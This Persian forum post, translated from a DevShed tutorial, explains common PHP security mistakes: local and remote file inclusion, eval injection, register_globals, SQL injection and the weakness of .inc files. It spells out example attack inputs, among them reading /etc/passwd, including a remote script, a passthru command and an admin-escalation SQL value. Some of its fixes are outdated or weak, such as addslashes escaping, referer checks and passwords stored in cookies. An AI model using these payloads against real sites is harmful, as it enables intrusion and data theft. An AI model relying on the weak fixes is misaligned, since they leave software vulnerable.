پرش به


تصویر

امنیت PHP – اشتباهات معمول


  • لطفا وارد حساب کاربری خود شوید تا بتوانید پاسخ دهید
بدون پاسخ

#1 AzhidahakA

AzhidahakA

    عضو سایت

  • عضو سایت
  • ستارهستاره
  • 20 ارسال

ارسالی 1388/11/24 ساعت 14:16

هدف از ارائه این مقاله آگاهی برنامه نویسان php از اشتباهات امنیتی کوچکی است که معمولا در برنامه نویسی پیش می آیند. قصد داریم با اعمال روش هایی تا حدی امنیت برنامه خود را بالا ببریم.


مهمترین چیزی که ما در این مقاله مدنظر داریم این است که هیچگاه نمی توان به هر کاربری اعتماد کرد و اطمینان داشت که او دقیقا همان چیزی را وارد خواهد کرد (همان کاری را انجام خواهد داد) که از او انتظار داریم. باید سعی کنیم حالات مختلفی که کاربر در پیش رو دارد را فرض نموده و چاره ای برای مقابله با نفوذ از آن حالات بیابیم.

در این مقاله سعی میکنیم چند مورد معمول از این حالات را بررسی کنیم.
این مقاله از سایت DevShed دریافت شده است و توسط آقای محمد طاهر پیله ور به زبان فارسی برگردانده شده است.
تمامی حقوق این مقاله متعلق به سایت مجید آنلاین (پخش کننده مقاله) میباشد و در صورت ذکر نام سایت همراه با لینک استفاده از آن بلامانع میباشد.


1- هرگز فایل یا نوشته ای را که از کاربر دریافت شده است را مستقیما ()include() , require و یا open نکنید مگر اینکه از قبل آنرا بررسی کرده باشید. به عنوان مثال فرض می کنیم page$ فایلی است که کاربر وارد می کند و ما قصد ()include کردن آنرا داریم.

if (isset($page))
{
include($page);
}

در این مثال از آنجا که ما page$ را از قبل بررسی نکرده ایم ، کاربر براحتی می تواند کدهای ناخواسته و محرمانه دیگر ما را نیز صدا بزند. مثلا :
script.php?page=/etc/passwd

بنابراین ممکن است فایل ناخواسته ای که حاوی پسوردهای شماست ()include شده و به نمایش در آید. همانطور که می دانیم وقتی یک کد غیر php در آن ()include می شود این زبان به صورت پیش فرض آنرا HTML یا Text در نظر می گیرد. پس به همین راحتی ممکن است صفحه ناخواسته ای بر روی سرور شما که شامل پسورد هم می باشد به نمایش درآید.

از طرف دیگر می دانیم که تابع های ()include و ()require در php قابلیت دریافت یک فایل از راه دور را دارا هستند. حال اگر کاربری فایلی مثل این را صدا بزند :

script.php?page=http://mysite.com/MyScript.php

از این طریق کاربر قادر خواهد بود تا هر کدی که می خواهد در سایت شما صدا بزند. به فرض اگر او بخواهد مقداری از اطلاعات شما را پاک کند یا حتی اطلاعات حساسی را مستقیما در صفحه قرار دهد.

حال راه حل چیست؟ مسلما جای تردید نیست که در وهله اول باید ورودی را مورد بررسی قرار دهیم! مثلا لیستی از صفحه های قابل قبول را تهیه کنیم و اگر ورودی با آن تطابق نداشت یک error نمایش دهیم.

$pages = array('index.html', 'page2.html', 'page3.html');
if (in_array($page,$pages))
{
include($page);
{
else
{
die("Sorry, Invalid file.");
}

همانطور که دیدید در این مثال لیستی از صفحه های قابل قبول را در آرایه ای به نام pages$ می ریزیم و اگر صفحه ورودی در آرایه وجود داشت آنرا ()include می کنیم. (در غیر این صورت پیغام Sorry, Invalid file را نمایش می دهیم )


2- هنگام کار با تابع ()eval بسیار دقت کنید.
هرگز مقادیر گرفته شده از کاربر را مستقیما در این تابع قرار ندهید. با قرار دادن آن، در واقع شما او را توانمند ساخته اید که هر دستوری که می خواهد به اجرا درآورد. یک drop-down منو با انتخابهای معینی را فرض کنید، کاربر ممکن است به جای انتخاب های پیش فرض چیزی مثل این را وارد کند :

script.php?input=;passthru("cat /etc/paswd");

او با قرار دادن این کد براحتی می تواند لیست کاملی از فایل /etc/passwd شما دریافت کند.

سعی کنید کمتر از تابع ()eval استفاده کنید مگر اینکه مجبور باشید کد php را به صورت dynamic تولید کنید که در این صورت حتما ورودی را از هر نظر بررسی کنید. اگر شما از این تابع برای جانشین سازی متغیر های template در یک string یا جانشین سازی مقادیر ورودی توسط کاربر استفاده می کنید ، بهتر است از توابعی مثل ()sprintf یا template system سود جویید.


3- بهتر است که register_globals را بطور پیش فرض روی off قرار دهید. (register_globals=OFF)

در ابتدا register_globals برای راحت تر کردن کار برنامه نویس مطرح شدند ولی چندی نگذشت که تبدیل به حفره ی امنیتی بزرگی شدند. به همین دلیل از ورژن 4.2 php به بعد register_globals را به صورت default روی OFF قرار گرفته است. بهتر و امن تر است که از ورودی های superglobals استفاده کنید. به عنوان نمونه :
( $_GET , $_POST , $_COOKIE )


برای مثال متغیری به نام page$ را در نظر بگیرید که می خواهیم آنرا در صفحه خود ()include کنیم. حال اگر فراموش کرده باشیم که این متغیر را تعریف کنیم ( مقداری در آن قرار نداده باشیم) و register_globals روی ON قرار گرفته باشد، کاربر محترم به راحتی می تواند سودجویی کرده و این متغیر را مطابق میل خود تعریف کند. مثلا :

script.php?page=http://www.example.com/His-script.php

به همین علت توصیه شده که register_globals را به صورت پیش فرض روی OFF قرار داده و از superglobals استفاده کنیم.

علاوه بر این بهتر است که همیشه تمام error ها را نمایش دهیم.
error_reporting(E_ALL);

بدین صورت هر گاه شما متغیری را صدا کنید که از قبل تعریف نشده پیغام خطایی دریافت خواهید کرد.


4- همانطور که می دانیم یکی از ویژگی های php این است که وقتی character معینی را از GET,POST یا Cookie دریافت می کند به آن یک اضافه می کند. (مثلا کاراکتر ' )(single quote)

این ویژگی بدین منظور است که اگر شما به فرض بخواهید متغیر ورودی را مستقیما در یک sql query قرار دهید، در ساختار اولیه query تغییری صورت نگیرد. فرض کنید می خواهیم از طریق یک فرم متغیر name$ ( که اسم کاربر است ) را دریافت کرده و در این query قرار دهیم :
UPDATE my_table SET Name='$name' WHERE ID=1

در حالت عادی اگر اسم شخص حاوی کاراکتر ' باشد ، php آنرا نادیده گرفته و بصورت (') در query قرار می دهد. به طور مثال اگر شخص اسم خود را به صورت Taher's وارد کند php خود به خود آنرا به Taher's تبدیل کرده و در query قرار می دهد. پس خواهیم داشت :

UPDATE my_table SET Name='Taher's' WHERE ID=1

گاهی ممکن است از تابع stripslashes برای تصحیح مقادیر ورودی استفاده کنیم. ولی توجه داشته باشید که اگر می خواهید مقدار آنرا مستقیما در یک query قرار دهید حتما از قبل، آنرا از توابعی مثل addslashes یا mysql_escape_string بگدرانید. اهمیت این امر را با مثالی ساده توضیح خواهم داد.

با توجه به مثال قبل، تصور کنید که مقدار ورودی را از این توابع نگذرانده ایم. حال اگر کاربر محترمی اسم خود را به این صورت وارد کند :

Taher',admin='1

چه اتفاقی خواهد افتاد ؟ اگر این مقدار name$ را در query خود جایگزین کنیم خواهیم داشت :

UPDATE my_table SET Name='Taher',admin='1' WHERE ID=1

خوب، به همین راحتی!
پس از این جهت توابع ذکر شده اهمیت می یابند.


در بعضی از configuration ها تابع ()magic_quotes_gpc بطور پیش فرض روی off قرار گرفته است. برای کسب اطمینان از .config خود می توانید از تابع ()get_magic_quotes_gpc استفاده کنید. (این تابع مقدار true یا false را باز می گرداند).

اگر خروجی این تابع false بود به راحتی می توانید از تابع ()addslashes سود ببرید.(اگر از ورودی های
$_GET, $_COOKIE , $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_COOKIE_VARS
استفاده می کنید بهترین راه استفاده از تابع ()addslashes می باشد)


5- برنامه نویس ممکن است برای محدود کردن صفحه هایی از سایت خود از cookie ها استفاده کرده یا اینکه یک متغیر پنهانی را تعریف نموده و صدا بزند. بطور مثال :
if ($admin)
{
// ادامه کد
}
else
{
// Boro biroon
}

اگر پسورد وارد شده صحیح بود مقدار admin$ را true قرار داده و بدین شکل از آن استفاده می کنیم. اشکال وارد به این روش این است که مقدار admin$ از راههای مختلفی ممکن است تعیین شود. فرض اگر کاربر ما چنین چیزی را صدا بزند
script.php?admin=1

به همین سادگی او مقدار admin را true وضع کرده و می تواند از ضعف کد ما سوء استفاده کند.
حتی اگر از superglobals استفاده کرده باشیم او می تواند فرم html را خود طراحی کند یا یک cookie ایجاد کند.

دو راه برای حل این مشکل وجود دارد. یکی آنکه متغیر admin$ را به صورت session در نظر بگیریم. همانطور که می دانیم متغیر session بر روی سرور ذخیره می شود و امنیت بالاتری را ایجاب می کند. بدین طریق اطلاعات session بر روی سرور قرار خواهند داشت و می توان بوسیله آن وضعیت یک کاربر را مشخص کرد :
if ($_SESSION['admin'] )

راه حل دوم این است که username و password را در cookie بریزیم و هر دفعه با بررسی آن از تطابق آن با پسورد اصلی مطمئن شویم. همچنین با مقایسه آن می توانیم تعیین کنیم که آیا کاربر admin است یا یک کاربر معمولی. با استفاده از دو تابع این کار میسر است. یکی آنکه صحت username و password وارد شده را تشخیص دهد و دیگری آنکه تعیین کند آیا این داده ها مربوط به admin هستند یا کاربر.
فرض کنید این دو تابع را validate_login و is_admin بنامیم. بنابراین :
if (!validate_login($_COOKIE['username'], $_COOKIE['password'] ) )
{
echo "Sorry, invalid login";
exit;
}
// اطلاعات کاربر صحیح است ، ادامه برنامه
if (!is_admin($_COOKIE['username'] ))
{
echo "Sorry, you do not have access to this section";
exit;
}

( من به خاطر کارآیی بیشتر session به شخصه راه حل اول را توصیه می کنم )


6- اگر نمی خواهید که محتویات فایل به نمایش در آید به آن پسوند php. بدهید!

مدتی معمول بود که فایل هایی را که می بایست include میشدند را با پسوند inc. نامگذاری می کردند. مشکل کار اینجاست که اگر کاربر مستقیما آدرس فایل inc را صدا بزند محتویات آن همانند یک فایل text نمایش داده می شود. یا اینکه فایل براحتی می تواند توسط کاربر دانلود شود. حال ممکن است فایل حاوی username و password دیتابیس شما یا اطلاعات حساس دیگری باشد!

مسلما راه حل دادن پسوند php. می باشد. از آنجا که فایل های inc معمولا خروجی ندارند اگر به آنها پسوند php بدهیم هنگام صدا زدن آن چیزی نمایش داده نخواهد شد. مثلا اگر فایلی به نام lib.inc داریم کافیست php را هم به آن اضافه کنیم. پس :
http://yoursite.com/lib.inc.php

-----------------------------------

7- با اینکه فرم ها در جمع آوری اطلاعات و داده های کاربر بسیار مفید هستند ولی اولین نقطه برای نفوذ به شمار می روند. در این مورد باید اطمینان حاصل کنیم که اطلاعات از فرم مورد نظر ما به سایت وارد می شوند. ( نه از جایی دیگر، مانند فرم ساخته شده توسط کاریر)

یک راه حل مناسب این است که از ['SERVER['HTTP_REFERER_$ استفاده کنیم و بررسی کنیم که اطلاعات از کجا می آیند. همانطور که می دانیم HTTP_REFERER آدرس صفحه ای را که اطلاعات از آنجا به برنامه ما ارسال شده اند مشخص می کند. پس از این طریق می توانیم آدرس صفحه را با آنچه مد نظر ماست مقایسه کنیم.
( فرض کنید فرم ما در این آدرس قرار گرفته است : domain.net/my_form.html )
// آدرس فرم ما
$my_form_URL = "http://domain.net/my_form.html";

// آدرس ورودی
$incoming_URL = $_SERVER['HTTP_REFERER'];

if ($my_form_URL == $incoming_URL) {
// همه چیز درست است، ادامه برنامه
} else {
// یه نفر قصد اذیت داره
echo "Access Denied.";
exit;


همانطور که دیدیم در صورتی که آدرس ورودی با http://domain.net/my_form.html تطابق نداشته باشد پیغام Access Denied به نمایش در خواهد آمد و ادامه کد اجرا نخواهد شد (;Exit)
از این طریق شما به راحتی می توانید بر صفحه ورودی کنترل داشته باشید.



________________________________________

دوستان یکی لطفا کدها را مرتب کنند .

خوب ، امیدوارم روش های ارایه شده برای دوستان عزیزم مفید بوده باشد.
موفق باشید

  • 0


1 کاربر در حال خواندن این موضوع است

0 کاربر، 1 مهمان و 0 عضو مخفی